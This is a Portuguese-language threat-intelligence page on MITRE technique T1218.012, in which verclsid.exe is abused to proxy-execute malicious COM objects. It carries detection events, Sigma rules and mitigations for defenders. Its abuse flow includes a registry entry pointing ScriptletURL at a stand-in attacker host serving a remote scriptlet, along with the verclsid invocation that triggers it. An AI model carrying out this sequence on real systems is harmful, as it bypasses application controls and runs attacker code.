# T1218.012 - Verclsid
## Descrição
A subtécnica **T1218.012 - Verclsid** documenta o abuso do binário legítimo do Windows `verclsid.exe` para executar código malicioso de forma proxy, contornando controles de aplicação como AppLocker e Windows Defender Application Control (WDAC). O `verclsid.exe` - também conhecido como **Extension CLSID Verification Host** - é uma utilidade nativa do Windows responsável por verificar extensões de shell (objetos COM) antes que o Windows Explorer as carregue.
Por ser um binário assinado pela Microsoft e presente em todas as versões modernas do Windows, ele se enquadra na categoria de **LOLBins** (Living Off the Land Binaries) - ferramentas legítimas do sistema operacional que adversários redirecionam para fins maliciosos. Esta técnica integra a família [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]], junto com outras como [[t1218-010-regsvr32|T1218.010 - Regsvr32]], [[t1218-011-rundll32|T1218.011 - Rundll32]] e [[t1218-005-mshta|T1218.005 - Mshta]].
A execução de payloads via `verclsid.exe` é especialmente eficaz porque:
1. O binário é assinado digitalmente pela Microsoft
2. Muitas soluções de allowlisting confiam em binários assinados por grandes vendors
3. A execução via COM objects pode carregar código remotamente (SCT scriptlets via HTTP/HTTPS)
4. O processo filho criado pelo `verclsid.exe` herda as restrições reduzidas do binário pai
> **Técnica pai:** [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]]
> **Tática MITRE:** Defense Evasion
> **Plataformas:** Windows
---
## Como Funciona
### Mecanismo normal do verclsid.exe
Em operação legítima, o Windows Explorer chama `verclsid.exe` com o seguinte padrão:
```
verclsid.exe /S /C {CLSID}
```
O binário carrega o COM object identificado pelo CLSID informado, verifica sua válidade e retorna o resultado para o Explorer. O flag `/S` suprime jánelas de diálogo ("silent mode") e `/C` específica o CLSID a verificar.
### Abuso por adversários
O adversário registra um CLSID malicioso no registro do Windows ou explora um CLSID já existente, substituindo o `InprocServer32` ou `ScriptletURL` para apontar para um payload malicioso - que pode estar:
- **Localmente:** DLL ou arquivo SCT no disco
- **Remotamente:** COM scriptlet (`.sct`) hospedado em servidor HTTP/HTTPS controlado pelo atacante
O fluxo de abuso:
```
1. Adversário registra CLSID malicioso:
HKCU\Software\Classes\CLSID\{GUID-MALICIOSO}\ScriptletURL = "http://attacker.com/payload.sct"
2. Executa via linha de comando:
verclsid.exe /S /C {GUID-MALICIOSO}
3. verclsid.exe tenta verificar o COM object
4. Carrega e executa o scriptlet remoto
5. Payload executa sob o contexto do verclsid.exe (binário Microsoft assinado)
```
### COM Scriptlets (SCT)
Os scriptlets COM são arquivos XML que contêm código VBScript ou JScript executado pelo Windows Script Host. São funcionalmente idênticos aos scriptlets abusados por [[t1218-010-regsvr32|Regsvr32]] via `/i:URL scrobj.dll`. O scriptlet pode:
- Baixar e executar um segundo estágio
- Estabelecer [[t1071-application-layer-protocol|comúnicação C2]] via HTTP
- Criar entradas de [[t1547-001-registry-run-keys|persistência no registro]]
- Executar comandos via [[t1059-powershell|PowerShell]] ou [[t1059-003-windows-command-shell|cmd.exe]]
---
## Attack Flow
```mermaid
graph TB
A([Adversário obtém<br/>execução inicial]) --> B{Método de registro\ndo CLSID malicioso}
B -->|Registro local\nHKCU/HKLM| C[Registra CLSID com<br/>ScriptletURL remoto]
B -->|Hijack de CLSID\nexistente| D[Substitui InprocServer32<br/>de CLSID legítimo]
C --> E[Hospeda payload SCT<br/>em servidor C2]
D --> F[Coloca DLL maliciosa<br/>no caminho esperado]
E --> G[Executa:<br/>verclsid.exe /S /C GUID]
F --> G
G --> H[verclsid.exe carrega<br/>COM object via ScriptletURL]
H --> I{Tipo de payload}
I -->|SCT remoto| J[Descarga de segundo estágio<br/>via HTTP/HTTPS]
I -->|DLL local| K[Execução de DLL<br/>sob contexto verclsid.exe]
J --> L[Processo C2 estabelecido<br/>binário pai = Microsoft assinado]
K --> L
L --> M([Bypass AppLocker/WDAC<br/>Defense Evasion completo])
style A fill:#d63031,color:#fff
style M fill:#00b894,color:#fff
style G fill:#fdcb6e,color:#000
style H fill:#e17055,color:#fff
```
---
## Exemplos de Uso
### Hancitor (Chanitor) - Dropper via LOLBin
O [[s0499-hancitor|Hancitor]] é um downloader/dropper que historicamente utilizou múltiplas técnicas de proxy execution para baixar e executar cargas secundárias (tipicamente [[s0154-cobalt-strike|Cobalt Strike]] beacons ou ransomware). Em campanhas documentadas, o Hancitor abusou de `verclsid.exe` para executar scriptlets COM remotos que faziam o download do beacon de segunda etapa, aproveitando a assinatura Microsoft do binário para bypass de soluções AV baseadas em reputação de processo pai.
### Uso em campanhas de spearphishing
Em cadeias de ataque documentadas pelo MITRE e pesquisadores independentes, documentos Office maliciosos (ou atalhos `.lnk`) invocam `verclsid.exe` como parte da cadeia de execução após abertura do arquivo isca. O documento executa uma macro que cria o registro CLSID malicioso e em seguida chama `verclsid.exe /S /C {GUID}` via `Shell()` ou WMI, baixando o payload de um servidor C2 externo.
### Relação com Regsvr32 (T1218.010)
Ambas as técnicas ([[t1218-010-regsvr32|T1218.010]] e T1218.012) abusam do mecanismo COM do Windows para executar scriptlets remotos. A principal diferença é o binário proxy utilizado. Grupos APT frequentemente alternam entre os dois métodos para evadir regras de detecção específicas para `regsvr32.exe`. Pesquisadores de segurança documentaram casos onde ferramentas de red team suportam ambos os métodos como opções intercambiáveis.
### Contexto LOLBins - Família T1218
A técnica se insere em um padrão mais amplo de abuso de binários do sistema:
| Binário | Subtécnica | Mecanismo |
|---------|-----------|-----------|
| `regsvr32.exe` | [[t1218-010-regsvr32\|T1218.010]] | SCT via `/i:URL scrobj.dll` |
| `verclsid.exe` | T1218.012 | SCT via CLSID `/S /C {GUID}` |
| `rundll32.exe` | [[t1218-011-rundll32\|T1218.011]] | DLL entry point direto |
| `mshta.exe` | [[t1218-005-mshta\|T1218.005]] | HTA files via URL |
| `wscript.exe` | [[t1059-005-visual-basic\|T1059.005]] | VBScript/JScript |
---
## Detecção
### Indicadores comportamentais
A detecção de T1218.012 foca em dois vetores principais:
**1. Criação de processo suspeita**
- `verclsid.exe` iniciado por processo incomum (Office, script host, shell de usuário)
- `verclsid.exe` com argumentos `/S /C` seguido de CLSID não reconhecido
- Processos filhos criados por `verclsid.exe` (indica que o COM object criou processos)
**2. Atividade de rede a partir de verclsid.exe**
- Conexões HTTP/HTTPS originadas de `verclsid.exe` (altamente suspeito - o binário legítimo não faz conexões de rede diretas)
- Resolução DNS de domínios recém-registrados por `verclsid.exe`
### Eventos Windows relevantes
| Event ID | Provedor | Descrição |
|----------|---------|-----------|
| **1** | Sysmon | ProcessCreaté - `verclsid.exe` com `/S /C {GUID}` |
| **3** | Sysmon | NetworkConnect - conexão de rede por `verclsid.exe` |
| **7** | Sysmon | ImageLoad - DLL carregada por `verclsid.exe` |
| **12/13** | Sysmon | RegistryEvent - criação de CLSID em `HKCU\Software\Classes\CLSID\` |
| **4688** | Security | Process creation - argumento de linha de comando com CLSID |
### Regra Sigma
```yaml
title: Suspicious verclsid.exe Execution - COM Object Proxy
id: 7f8a2c41-3b5e-4d9f-a234-8c1e5b7d2e89
status: experimental
description: >
Detecta abuso de verclsid.exe para proxy execution de COM objects maliciosos,
incluindo carregamento de scriptlets remotos - T1218.012.
references:
- https://attack.mitre.org/techniques/T1218/012/
- https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
author: RunkIntel
daté: 2026-03-25
tags:
- attack.defense_evasion
- attack.t1218.012
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection_verclsid:
Image|endswith: '\verclsid.exe'
CommandLine|contains:
- '/S'
- '/C'
filter_legit_parent:
# Parents legítimos do verclsid.exe
ParentImage|endswith:
- '\explorer.exe'
- '\svchost.exe'
condition: selection_verclsid and not filter_legit_parent
fields:
- Image
- CommandLine
- ParentImage
- ParentCommandLine
- User
falsepositives:
- Administradores testando extensões de shell
- Ferramentas de diagnóstico COM legítimas
level: high
---
title: verclsid.exe Network Connection
id: 2a9b4d71-5c8f-4e2a-b567-9d3e7f1c4b28
status: experimental
description: >
Detecta conexões de rede originadas de verclsid.exe - indicativo de
carregamento de scriptlet remoto (T1218.012).
tags:
- attack.defense_evasion
- attack.t1218.012
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith: '\verclsid.exe'
Initiated: 'true'
condition: selection
level: critical
```
---
## Mitigação
| ID | Mitigação | Ação Recomendada |
|----|-----------|-----------------|
| [[m1038-execution-prevention\|M1038]] | Execution Prevention | Configurar AppLocker ou WDAC para bloquear execução de `verclsid.exe` por processos não autorizados. Criar regra de publisher para permitir apenas quando iniciado pelo Explorer ou serviços do sistema. |
| [[m1037-filter-network-traffic\|M1037]] | Filter Network Traffic | Bloquear conexões HTTP/HTTPS originadas de `verclsid.exe` no firewall de endpoint. O binário legítimo não necessita acesso à internet diretamente. |
| [[m1042-disable-or-remove-feature-or-program\|M1042]] | Disable or Remove Feature or Program | Em ambientes onde extensões de shell não são utilizadas por usuários comuns, considerar renomear ou remover as permissões de execução do `verclsid.exe` via GPO. Avaliar impacto no Explorer antes de implementar. |
| - | Monitorar registro CLSID | Alertar sobre criação de novas chaves em `HKCU\Software\Classes\CLSID\` por usuários não administrativos - especialmente com `ScriptletURL` ou `InprocServer32` apontando para caminhos incomuns. |
| - | Restrição de CLSIDs via GPO | Usar Group Policy para restringir quais CLSIDs podem ser carregados pelo `verclsid.exe` em ambientes corporativos. |
---
## Contexto Brasil/LATAM
**1. Prevalência de Office sem macro bloqueado**
Muitas organizações brasileiras ainda operam com configurações de macro permissivas em documentos Office - um cenário ideal para ataques que usam macros para disparar `verclsid.exe`. A combinação phishing + documento malicioso + verclsid proxy é uma cadeia de ataque documentada e relativamente simples de executar em ambientes com controles de segurança básicos.
**2. Uso em ataques a setores financeiro e governo**
Campanhas direcionadas ao setor financeiro brasileiro documentadas por pesquisadores da [[_sectors|região LATAM]] frequentemente utilizam LOLBins para evadir soluções EDR corporativas. A preferência por binários assinados Microsoft reflete o conhecimento dos atacantes sobre o ambiente de segurança local - muitas organizações usam soluções AV tradicionais que confiam em assinaturas de fabricante.
**3. Red teams e avaliações de segurança**
Times de red team brasileiros e ferramentas como o módulo de proxy execution do [[s0154-cobalt-strike|Cobalt Strike]] e do [[metasploit|Metasploit]] suportam `verclsid.exe` como vetor. Conhecer esta técnica é essencial para analistas SOC e times de blue team que respondem a incidentes ou avaliam coberturas de detecção.
**Recomendação para SOCs brasileiros:** Priorizar regras de detecção para `verclsid.exe` com parents incomuns (Office, wscript, cscript) e qualquer conexão de rede iniciada por este processo. Implementar bloqueio de CLSIDs não autorizados via Group Policy em ambientes que não dependem de extensões de shell customizadas.
---
## Referências
- [MITRE ATT&CK - T1218.012](https://attack.mitre.org/techniques/T1218/012/)
- [LOLBAS Project - verclsid.exe](https://lolbas-project.github.io/lolbas/Binaries/Verclsid/)
- [Microsoft Docs - Shell Extensions](https://docs.microsoft.com/en-us/windows/win32/shell/shell-exts)
- [Hancitor Analysis - Any.run](https://any.run/malware-trends/hancitor)
- [Living Off the Land Binaries - LOLBAS](https://github.com/LOLBAS-Project/LOLBAS)
## Software Associado
- [[s0499-hancitor|Hancitor]] (malware)
- [[s0154-cobalt-strike|Cobalt Strike]] (framework C2)
## Técnicas Relacionadas
- [[t1218-system-binary-proxy-execution|T1218 - System Binary Proxy Execution]] (técnica pai)
- [[t1218-010-regsvr32|T1218.010 - Regsvr32]] (técnica análoga - mesmo mecanismo SCT)
- [[t1218-011-rundll32|T1218.011 - Rundll32]] (família LOLBin)
- [[t1218-005-mshta|T1218.005 - Mshta]] (família LOLBin)
- [[t1059-007-javascript|T1059.007 - JavaScript]] (linguagem dos scriptlets SCT)
- [[t1547-001-registry-run-keys|T1547.001 - Registry Run Keys]] (persistência frequentemente combinada)
---
*Fonte: [MITRE ATT&CK - T1218.012](https://attack.mitre.org/techniques/T1218/012)*